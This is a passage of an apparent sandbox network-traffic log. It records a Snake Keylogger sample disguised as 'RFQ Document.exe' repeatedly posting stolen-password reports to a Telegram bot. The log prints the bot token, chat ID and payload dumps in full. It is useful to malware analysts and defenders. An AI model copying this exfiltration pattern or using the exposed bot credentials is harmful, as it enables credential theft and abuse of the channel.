{"ok":true,"result":{"message_id":12603,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808705,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
230	192.168.2.4	50051	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:34 UTC	365	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255eddc1e0b Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:34 UTC	366	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 64 64 63 31 65 30 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255eddc1e0bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:34 UTC	366	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:34 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:34 UTC	366	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 31 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12817,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808774,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
231	192.168.2.4	50052	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:34 UTC	367	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255edf3f502 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:34 UTC	367	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 64 66 33 66 35 30 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255edf3f502Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:34 UTC	368	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:34 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:34 UTC	368	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 31 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12818,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808774,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
232	192.168.2.4	50053	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:34 UTC	369	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ee0bccbd Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:34 UTC	369	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 65 30 62 63 63 62 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ee0bccbdContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:35 UTC	369	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:35 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:35 UTC	370	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 31 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12819,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808775,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
233	192.168.2.4	50054	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:35 UTC	370	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ee391976 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:35 UTC	370	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 65 33 39 31 39 37 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ee391976Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:35 UTC	371	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:35 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:35 UTC	371	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 32 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12820,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808775,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
234	192.168.2.4	50055	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:35 UTC	372	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ee4ea61c Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:35 UTC	372	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 65 34 65 61 36 31 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ee4ea61cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:35 UTC	372	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:35 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:35 UTC	373	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 32 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12821,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808775,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
235	192.168.2.4	50056	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:35 UTC	373	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ee6d8d55 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:35 UTC	374	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 65 36 64 38 64 35 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ee6d8d55Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:35 UTC	374	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:35 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:35 UTC	374	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 32 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12822,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808775,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
236	192.168.2.4	50057	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:35 UTC	375	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ee8c8b87 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:35 UTC	375	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 65 38 63 38 62 38 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ee8c8b87Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:35 UTC	376	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:35 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:35 UTC	376	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 32 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 37 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12823,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808775,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
237	192.168.2.4	50058	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:35 UTC	377	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255eea46375 Host: api.telegram.org Content-Length: 407
